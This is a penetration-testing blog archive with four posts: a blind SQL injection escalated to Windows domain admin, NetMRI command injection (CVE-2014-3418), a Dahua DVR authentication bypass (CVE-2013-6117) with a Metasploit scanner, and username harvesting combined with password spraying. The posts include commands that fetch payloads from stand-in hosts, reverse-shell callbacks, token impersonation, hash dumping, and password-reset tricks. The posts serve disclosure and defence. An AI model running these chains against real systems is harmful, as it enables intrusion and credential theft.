Thursday, November 6, 2014

Real-World Attack Scenario: From Blind, Timing-Based SQL Injection to Windows Domain Administrator


It's not uncommon for us to identify SQL injection (SQLi) vulnerabilities during network penetration tests or targeted web application security assessments although it sure seems to be getting less frequent. I hate using the term "SQLi Vulnerability" because SQLi is an attack, not a vulnerability. Whatevs though, the term is commonly used both ways in our industry. Modern development frameworks require that you really step off the beaten path in order to end up with an application that is vulnerable to SQLi. It still happens but when we do find it, it's often in an old, forgotten application or a piece of old code in a newer application.

The specific risk of any given instance of a SQLi attack depends on a lot of variables like the type/version of SQL server used by a vulnerable application, the sensitivity of the application's data, the permissions of the database user issuing the vulnerable query, how the application handles error messages, the DBMS configuration, and other such nuances. Seemingly unrelated controls like egress firewall filtering, intra-zone network filtering from the database to the rest of the internal network, and even what type of encryption/hashing is in place for sensitive database tables can also increase or decrease the risk.

Most people can assume SQLi attacks are focused on getting data out of the database by subverting the vulnerable application's original database queries with your own. This is true much of the time but it's also possible to fully compromise a SQL server, use it as a pivot point, and attack the internal network. We recently had one of these situations come up in an external penetration test that warrants writing about. In this scenario, we identified a blind, timing-based SQLi vulnerability. By the end of the day we had compromised the SQL server, pivoted from it, and escalated privileges until we owned the entire Microsoft Active Directory infrastructure. As usual it was a combination of weaknesses, not just the initial web application flaw, that allowed us to chain attacks together and do such significant damage.

With error-based SQLi, it's possible to exfiltrate data at a reasonable rate, sufficient enough to cause immense damage if the data is sensitive enough. This is because you can retrieve data one field (or more) at a time. With blind, timing-based SQLi, it's still possible to exfiltrate data but it's very painful unless you can do an open row-set type of attack. This is because you're retrieving data one character at a time by asking boolean questions about each character. You're essentially requesting data like this:

  1. If the first letter of the first table name is between A and L, pause X seconds before responding back to me. (No pause)
  2. If the first letter of the first table name is between M and Z, pause X seconds before responding back to me (DB pauses)
  3. Ok, if the first letter of the first table name is between M and R, pause X seconds before responding back to me. (No pause)
  4. Ok if the first letter of the first table name is between S and Z, pause X seconds before responding back to me. (DB pauses)
  5. Ok, and so on and so on until the character is found, then on to the next character of the first table name.
Boolean blind SQLi is the same way but faster since you're looking at response content rather than response timing to read out of the db. Unless you know exactly what you are looking for, you typically have to enumerate the database schema, or at least some of it, before you can zero in on the specific high-value table rows you want. You need to know the database names, their table names, and those tables' column names. You can also search table and column names for interesting values, which is quicker.

So we found a vulnerability that allowed blind, timing-based SQLi attacks in a publicly accessible web application. The vulnerability did not require one to be authenticated to the application so anyone on Earth or with an internet connection to Earth could exploit it. I also gave a talk at the OWASP KC March 2014 chapter meeting on this. Rather than going after the data, here's what we did:

Recon

We used sqlmap, a popular SQL injection exploitation tool, to check the database user's permissions, whether we could write files, whether xp_cmdshell was enabled, and do some basic reconnaissance. Sqlmap returned Win2K as the OS, MSSQL2K as the DB, and xp_cmdshell was enabled. MS SQL Server 2000 is known to have some very weak default configurations. Admittedly, this isn't a scenario we run into every single day as pen testers but it isn't unheard of.

Egress Busting

We used the "--os-shell" option, which provides an interactive, pseudo-shell to the SQL server. Remember, retrieving command output with a blind, timing-based SQLi vector is really slow. All we used this for was to issue telnet commands back to my attacking machine, searching for open, outbound ports. This is important because I eventually want a windows/meterpreter/reverse_tcp payload to call my attacking machine back. To do that obviously requires an open, outbound port. Using commands like "telnet a.b.c.d 21" "telnet a.b.c.d 25" "telnet a.b.c.d 80" and so forth allowed us to conduct a crude "egress busting" attack, whereby we identified TCP port 443 was allowed outbound back to us. Running tcpdump on our attacking machine made it easy to determine when we had hit on an open port because we could see the inbound connection attempt (TCP SYN) on port 443.

Exploitation - Failure 1

The "--os-pwn" option in sqlmap allows one-click exploitation with a Metasploit meterpreter payload. We initially tried this but never received the callback. We suspected  that the "shellcodeexec" executable that sqlmap uses was getting caught by antivirus.

Exploitation - Failure 2

We created an obfuscated meterpreter executable using the Veil toolkit, in order to bypass any antivirus controls that may exist on the SQL server. I didn't know how to substitute my own executable with sqlmap's "--os-pwn" option so we decided to just use the "--os-shell" function to echo commands into an FTP script file. This script file would contain all of the commands necessary to cause the SQL server login to our FTP server and download the obfuscated meterpreter executable. The reason we used the script is that we didn't have interactive shell access and needed a one-liner, something that would download our file in one command. TFTP wasn't an option but would have been nice. Once the script was finished, we could just call it like: "ftp-s:script_filename."

This failed and I should have known before I even tried it. FTP uses two channels, the initial control channel on TCP port 21 (443 in our case) and a data channel on another port which is opened up during the transfer of data. Stateful firewalls inspect FTP sessions and dynamically open up the necessary data channel upon seeing an FTP PORT command. Long story short, this didn't work for us while running FTP over TCP port 443.

Exploitation - Success!

Still wanting a one-liner to make the SQL server get our payload, we switched tactics and started using a WSCRIPT file. Why not PowerShell? Remember, we were dealing with Win2K here. Again, we started echoing lines to a file, one-by-one. When we were done, we had something like:

Once the script was written, we called it using the command, "script/nologo w https://a.b.c.d/payload". Then we renamed the file with a ".exe" extension and called it using sqlmap and the "--os-cmd" option. This time we got our meterpreter callback and a session was established in MetaSploit. So great, we shelled a MSSQL server. So what? Well in compromising a machine, we gained a "pivot point" that allowed us to attack any internal systems in reach. It's kind of like a VPN connection. These next steps are the fun part in my opinion.

Privilege Escalation to Domain Admin

The road from owning one MS-SQL database server to gaining domain admin was easy, short, and very typical of how things like this are done.
  1. Armed with our meterpreter session, we enumerated the domain and Domain Controllers using the "enum_domains" Metasploit post-exploitation module. 
  2. We also listed the "Domain Admins" group members by dropping into a shell and issuing the "net groups 'Domain Admins' /DOMAIN" command. 
  3. Then we loaded the incognito meterpreter extension and listed the available Windows impersonation tokens. 
  4. We lucked out and found an impersonation token that was also a "Domain Admins" group member right on the DB; we impersonated it. This is not typical. Normally the logical next step would be to dump local pw hashes and spray them around, abusing password reuse until we shelled a box that did have a domain admin token.
  5. Using the impersonated "Domain Admin" token, we created our own domain account and then added it to the "Domain Admins" group. 
  6. Armed with the DA account, we then forwarded a local port on our system through the meterpreter session to one of the Domain Controllers using the "portfwd add -l 3389 -r w.x.y.z -l 3389" command in meterpreter. 
  7. Then we connected to the DC using rdesktop, opened up the C$ share on the exploited SQL server, and copied our obfuscated meterpreter executable to the DC. 
  8. Simply running that executable netted us a meterpreter session on the DC. 
  9. We then ran the "post/windows/gather/smart_hashdump" Metasploit post-exploitation module, dumping every domain account and password hash.
  10. Then we ran the "auxiliary/analyze/jtr_crack_fast" Metasploit module, which made very quick work of hundreds of the weaker dumped domain password hashes. 
  11. This allowed us remote network and email access to many, many important staff simply by using the cracked accounts.
  12. We went back to the DC and added our account to all of the SQL security groups.
  13. This gave us access to dozens of very sensitive databases. Everything from here on out is pretty straight forward. "Domain Administrators" can usually control any AD user account, Windows workstations/servers, file shares, MSSQL databases, and anything else AD-integrated. 
  14. At this point we got hungry and bored so we went home to our respective parents' basements.

Conclusion

Everyone in the industry has likely heard of SQLi attacks and knows that they are bad so why would anyone want us to take this attack so far? There are several answers to this. Firstly our clients often receive excuses of inaction from development teams such as, "Well that application is only brochure-ware and contains zero sensitive data," or "But that application is being decommissioned next year." It's not always about the data and it's definitely not about next year. It's about right now or even last month, and it's about not giving external attackers a pivot point into your internal network.

We always get permission from our clients to proceed at every step of the attack. However, we advise our clients to allow our security assessments to be as impactful as possible, to reveal the full potential of each vulnerability. Anyone can tell you that you need web application security assessments, network penetration tests, a WAF, two-factor authentication, and maybe an IPS. They may even be correct. However, I much prefer empirical evidence in the form of real-world attack scenarios over opinions.

Significant perimeter network risk has long been moving away from the classic, network-service-based remote code execution vulnerabilities and into web applications. The risk these days is in the unpatched JBOSS test server, the old dev box with default Tomcat creds, the WordPress instance you don't know about with a vulnerable module, the remote file-inclusion vulnerability introduced into your customer service portal last week, or blind SQL injection in this case.

When I get some more down time, I'm going to write another blog entry about how we went from another external, blind SQL injection vector all the way to domain admin on another engagement. However, this time, the vector was boolean blind, not timing-based and we did were not able to compromise the SQL server itself as a pivot point.

Wednesday, July 9, 2014

OS Command Injection in Infoblox NetMRI Products - CVE-2014-3418 + CVE-2014-3419



While performing an internal security assessment for a client, I discovered an OS command injection vulnerability in an Infoblox NetMRI appliance. This was totally by accident, just going about our regular testing of web applications. I stumbled across the following page and used a proxy to submit values to the "Username" and "Password" fields of the application.
Infoblox Login Page
Part of our testing includes that for blind command injection, in which the 'ping -n 20 127.0.0.1' command is sent in place of every GET or POST variable, as well as some HTTP headers.
Injecting a command to ping localhost 20 times
When command injection is present, the HTTP response to the above will be delayed while 20 pings are sent to localhost. In this case the response took 22 seconds. The next command injected the same ping, but substituted with my internal IP address.
Injecting command to ping my attack workstation
I then started a tcpdump session to listen for pings from the target IP address. When we received them it proved that the command injection was genuine.

Ordinarily, I would have spent the next bit of time interrogating the target, determining what user I was running as, group membership, etc. But, in this particular instance, I tried adding a user, and setting a password.  If the web server was running as any user other than root this would fail.


Injecting a "useradd" command
Setting a Password
I then attempted to connect via SSH with my newly created username and password, to my surprise I was given a shell.



My next step was adding my user to the wheel group, so I could use sudo. I simply injected a usermod command to accomplish that.


Adding the user account to the "wheel" group.

After my user was a member of the wheel group, I used sudo to get a root shell.
root shell.
After getting a root shell, I went poking around discovering that the underlying OS is Fedora Core. But I also discovered a local mysql database instance. I was able to connect to this with the username "root" and a password of "root" And that weak set of credentials represents CVE-2014-3419, however this is only possible if you have a shell on the appliance already.

After getting this far, in less than 24 hours I had a crash course in ruby and wrote a metasploit module. The module was tested against NetMRI 6.8.2.11.

https://github.com/depthsecurity/NetMRI-2014-3418

Infoblox immediately released a hotfix on 5/16/2014 to remediate this vulnerability on existing installations, (v6.X-NETMRI-20710.gpg).

The flaw was corrected in the 6.8.5 release (created expressly for dealing with this issue), and that release has been put into manufacturing for new appliances.

Wednesday, November 13, 2013

Dahua DVR Authentication Bypass - CVE-2013-6117

Before my home was built, I wired it for a CCTV camera system. I ran siamese rg58 coaxial cable (the type with a separate pair for low voltage power) from a central location to all my camera locations since it's a pain to do once a house is built. I bought a cheap Dahua network-enabled DVR from one of what seems like hundreds of vendors who make them. When I finally brought the whole thing online, it worked well, but the "network-enabled" part of the DVR was super sketchy. For one thing, to view the cameras from a browser requires one run an unsigned ActiveX control in Internet Explorer. Never a good thing. Don't get me wrong though. These things have a LOT of functionality for the money and they work very well. Unfortunately what I found was network security is but an afterthought.
Web Interface Login Page
Web Interface Logged In
My other options for viewing this thing are a fat client called PSS....

PSS Viewer
Or a mobile app called iDMSS...

iDMSS Mobile App
Questionable network access aside, I thought being able to keep track of the homestead while I was out and about was quite handy. However, it took me a while to realize the sad reality of running a CCTV system in a house located in a very low-crime-rate, suburban area. That reality is that I never catch maleficence, or even mild shenanigans on tape. What I do capture is video of myself doing embarrassing things, like the time I was pulling my brand new Ducati out of the garage and dropped it or the half-dozen times I've walked out of my garage and hit my head on the garage lights.


Having Problems
Man Down

The Vulnerability


Anyway, after seeing vuln after vuln released on various DVRs, IPCams, baby monitors, and the like, I finally made time to take a look at the management and camera access traffic on my own DVR. What I found was nonexistent security, which wasn't surprising. Dahua DVRs listen on TCP port 37777 by default. The various supported clients utilize a simple binary protocol over this port to manage and view the DVR. The bottom line, and this is fairly common with one-off binary protocols, is that these DVRs don't really require authentication to manage and access. If you could port the ActiveX or PSS or iDMSS viewers to skip the login form, you could just access any Dahua DVR you want. Nothing mind blowing at all, but consider the following unauthorized requests:


Serial Number Request

Serial Number Response

Camera Channels Request
Camera Channels Response
Version Request
Version Response
DVR User Group Request
DVR User Group Response
DVR Users Request
DVR Users Response
Email Settings Request
Email Settings Response
DDNS Settings Request
DDNS Settings Response
NAS (FTP) Settings Request
NAS (FTP) Settings Response
Great so it's pretty trivial to retrieve device settings. Clear text SMTP, DDNS, and FTP creds could be useful. The DVR user passwords are hashed so how could an attacker get their peep on? Can we just reset the password for a given DVR user? Yes we can.


Reset "admin" Password to "abc123" Request
Notice the 0x19 byte. This is just a simple checksum. 0x19 = 25 = and admin:Intel:abc123:abc123.length.

Well at least the device logs user activity by IP address. Can we clear the logs to cover our tracks? Absolutely.


Clear Logs Request
Logs Cleared

As I was researching this, I found some other disturbing things about Dahua DVRs. I found that the DVRs are shipped with telnet enabled and a static root password. Since the DVRs use a read-only file system, it's not simple to change that password. What's more, other folks had been researching Dahua DVRs at approximately the same time as I. They found issues like:
  • The static root password I mentioned above
  • Other backdoor accounts exist, including one with a revolving password that is a simple date hash.
  • UPnP requests from untrusted addresses is supported and could be used to get publicly accessible telnet on a DVR.
  • Passwords are limited to 6 chars.
  • A weak 48-bit hash is utilized to protect DVR account passwords. (I'd like to know what this is so I can try cracking them)

Exploitation


I started writing a simple proof of concept script that dumps various configuration elements from the device. I started to notice other more minor issues like the fact that FTP, DDNS, and SMTP user credentials are stored and transmitted in clear text. So I decided to write a Metasploit scanning module for the issue I discovered. What I ended up with is a scanner module that does the following:
  • Scans one or more addresses for a given port to identify Dahua DVRs
  • Gets the firmware version
  • Gets the serial number
  • Gets the email settings (includes username, SMTP server, and cleartext creds)
  • Gets the DDNS settings (includes the DDNS service, server, and cleartext creds)
  • Gets the FTP (NAS) settings (again, cleartext creds)
  • Gets the DVR users (username, group membership, and hashed passwords)
  • Gets the user groups (group name, description, etc)
  • Gets the channels (camera channel names, e.g. “bedroom” “cocina”)
  • Stores any creds and services in the MSF "creds" or "services" database
And Optionally:
  • Clear the logs 
  • Change a given user account's password (unauthorized access)
You can see the "show options" output here:


Metasploit Module Options
Here is the output of the module successfully running against a DVR:
Metasploit Module Exploitation Page 1
Metasploit Module Exploitation Page 2
Metasploit Module Credential Storage
Here's my GIT repo: https://github.com/depthsecurity/dahua_dvr_auth_bypass.git

Just clone the repo (git clone https://github.com/depthsecurity/dahua_dvr_auth_bypass.git) and then move the .rb file to your modules directory (e.g. /root/.msf4/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb)

If anyone wants to contribute to making this better / getting it included in the Metasploit repo, let me know. Some future options I'd like to add are:
  • Check for telnet and utilize known default root password to gain telnet shell
  • Issue UPNP request to open telnet to public access, then get telnet shell
  • Check retrieved hashes for known default hash values (888888, 666666, admin, etc)
  • Identify DVR password hash mechanism for cracking in JTR
  • Stabalize across Dahua versions

Remediation

The best advice for now is to make sure these devices are not publicly accessible to the internet. Dahua initially stated they would work on fixing the issues but went radio silent afterwards.

Vulnerability Timeline


  • 8/26/2013: Identified authorization flaw
  • 8/27/2013: Wrote proof of concept tool/scanner
  • 8/28/2013: Disclosed issue to Dahua
  • 8/30/2013: Received initial response from Dahua including request for more info
  • 8/30/2013: Responded to Dahua with requested info
  • 9/2/2013: Received confirmation that Dahua R&D is working to fix the issue
  • 10/2/2013: Requested status update from Dahua
  • 10/10/2013: Re-requested status update from Dahua after no response from 10/2/2013.
  • 11/13/2013: Publicly disclosed vulnerability on Bugtraq and presented at SecKC November meeting.

Wednesday, February 20, 2013

Horizontal Dictionary Attacks Against Web Applications

One of the most common vulnerabilities of any significance I see during web application security assessments is a logic flaw that allows username harvesting. I typically find this flaw in username/password recovery, user registration, and every now and then in login forms. You would be surprised at the success I've had pairing this logic flaw with one other vulnerability: weak password policies. This is a simple but interesting attack that isn't rocket-science but can be very successful under a reasonably wide variety of circumstances.

You know the deal. A password recovery form takes in a username and responds with either, "Check your email for a link to reset your password" or "Invalid username attempted." Maybe it's the registration page and when you attempt to register an existing username you get, "Sorry, the username you requested already exists. Please choose another." Using inference based on the application's responses, one can ascertain the existence of usernames. Here are some examples on purposely vulnerable training applications:
ACUNETIX ART Registration Form Username Disclosure
CrackMeBank Registration Form Username Disclosure

Google Gruyere Registration Form Username Disclosure
Sometimes, rarely, I'll come across a login form that tells me "Invalid Username" when I try a nonexistent username or "Incorrect Password" when the username exists but the password was wrong.
Altoro Mutual Login Form Username Disclosure (Valid Username)
Altoro Mutual Login Form Username Disclosure (Invalid Username)
Even better is the well-known WordPress user harvesting flaw that allows one  to pull down WordPress usernames by requesting /?author=1, /?author=2, etc. That's just simple iteration and doesn't even require a dictionary attack.
WordPress User Harvesting Google Search

Example WordPress User Harvesting (author=1)
Example WordPress User Harvesting (author=2)
Whatever the case, the attack is usually the same. You send the request to Burp Intruder, use a dictionary of common usernames, and grep - match the response string that indicates a successful username was entered. Just from sheer odds, assuming you are using a sizable/decent username dictionary, you likely guessed at least one valid username. On a site with hundreds of thousands of users, your list is likely to be pretty large. On a site with hundreds of users, your list is likely to be pretty small. The screenshot below shows an attack against the well-known Cenzic CrackMeBank. Using the default BurpSuite list of 8861 potential usernames, 69, or about .78% are actually valid. So big deal; now I have a list of valid usernames.

CrackMeBank User Harvesting Attack Using Burp Intruder
Here's the horizontal part. My typical approach is to first look at the application's password and account lockout policies and take some notes. If there are none, good for me, bad for them. If there are policies in place, I factor them into my attack. Such policies are typically disclosed on registration and password change pages. I take my list of valid usernames and perform a horizontal password attack. I'm not looking to crack the password of one user by brute-forcing or using a dictionary of thousands of passwords. I want to use just a few passwords that are likely to be common within the target application and maybe compromise one or more of the known-valid usernames I have. The attack is only an inch deep, but it's a mile wide. Here's the general approach to choosing passwords.
  • First I want to know if the application has an account lockout policy. If so, I try to determine how many invalid login attempts it takes to trigger a lockout. I don't want to anger my client and lockout hundreds of their users so I limit the attempted passwords to one or two less than it takes to lock accounts out. 
  • Second, I follow the application's password length and complexity policies so I'm not wasting my attempts. If the minimum password length is 8, I use passwords of eight or more characters. If the password complexity policy requires mixed-case, alphanumeric, and special characters, I use password values that meet those requirements.
  • Third, I utilize widely available lists of passwords that are in order of prevalence and have been observed in password dumps gained from various, successful real-world hacks. I just pick the top few passwords that match my target application's password composition policies. Mark Burnett has a really cool tag cloud image of the top 500 passwords according to his research. Please excuse some of the more tasteless values as it appears many in our species are still operating on a fairly base level, obsessed with genitalia and reproductive activities.
Mark Burnett's Top 500 Password Tag Cloud
In the case of CrackMeBank, there are no password or lockout policies to speak of so I'm going to use the stupidest (most common) passwords. Sure it's not the most real-world example but it suffices for an example and we actually still do run across apps without password/lockout policies every now and then. Just to prove my point, I used only five password attempts for each username. That's only 5 x 69 = 345 total requests. I used the following passwords:
  • 123456
  • password
  • password1
  • abc123
  • ninja
Out of the 69 valid usernames I harvested, five or 7.25% were compromised on my first attempt using these five passwords. One account used "123456" and four accounts used "password" with "password1," "abc123," and "ninja" being unused.
CrackMeBank Horizontal Dictionary Attack Using Burp Intruder
The name of the game is chaining attacks together against different vulnerabilities. To take the concept a bit farther, imagine an application with some loose file upload functionality that requires authentication. Now those five compromised users are a really big deal because I only need one of them to upload a PHP or ASPX backdoor. From there I upload a meterpreter session, pivot from that machine, and start working over your internal network because your DMZ->Internal firewall rules are as loose as the file upload functionality was. It's a whole chain of relatively minor flaws: username disclosure, weak user passwords, weak file upload functionality, and weak internal firewall rules that are exploited together to cause real damage.

Imagine another scenario, which I ran across earlier this year in an assessment: I compromise dozens of accounts using this horizontal dictionary attack on a heavily-used site that allows users to store their payment information. Against PCI regulation, the application outputs the full PAN with name, address, exp date, and security code on the "edit my payment information" page. Instead of being mister-good-guy-pen-tester I'm some kid who holds a nasty grudge against this company. Instead of using the payment information to buy a plasma and some air jordans, I dump the user creds and cardholder data on pastebin.com. I don't compromise the web server at all but the company is subject to PCI fines and is mentioned in the news causing some damage to the brand.

Enough with the fear mongering then. What are some simple things we can do to stop this type of thing? As always, I like to see controls at multiple levels, starting at the root cause, so that if one fails, another steps in to save the day. From secure coding (avoiding logic flaws), to CAPTCHAs, and then even WAFs let's break it down:
  • Use CAPTCHAs: At the very least, use decent CAPTCHAs on registration and password/username recovery forms. This makes it pretty difficult to get that initial dictionary attack running in order to harvest usernames. I know there are business and useability reasons to avoid CAPTCHAs but use them on your login forms if you can get away with it. CAPTCHAs don't solve underlying vulnerabilities but they prevent automated attacks.
  • Be Discerning: Require more than one piece of unique information to initiate password/username recovery. Ask for a username, email address, zip code, and last four digits of a phone number. I remember one utility payment application I assessed that simply asked for a username and zip code. I simply looked up all the zip codes that the utility company serviced, picked a few of the most populated ones, and harvested away.
  • Don't Be Too Friendly: Avoid detailed errors about what the user did wrong if possible. On a login form, it definitely is not necessary to provide two different error messages based on whether the username or password were incorrect. For password/username recovery, be generic. "Something went wrong" will suffice most of the time.
  • Enforce Password Requirements: Make sure users are required to enter secure passwords. Eight characters or more, with alphanumeric, mixed-case, and special characters required makes my job a lot harder than allowing "123456." You might even go ahead and blacklist really bad passwords. Most really bad passwords won't meet the requirements above but it's worth noting that "P@55w0rd" is not much better than "password."
  • Use Two-Factor Auth: If you're serious about protecting your users, use two-factor authentication. It's not all about a physical token any more as there are plenty of other options. They each have their flaws but they do stop this type of attack.
  • Lock Them Out: Enforce account lockout after 3-5 invalid login attempts.
  • Throttle or Block Offenders: You shouldn't see 1000 or 100 or even 25 HTTP requests/second from the same session. Use your WAF, IPS, or even a web server module to limit concurrent connections if possible.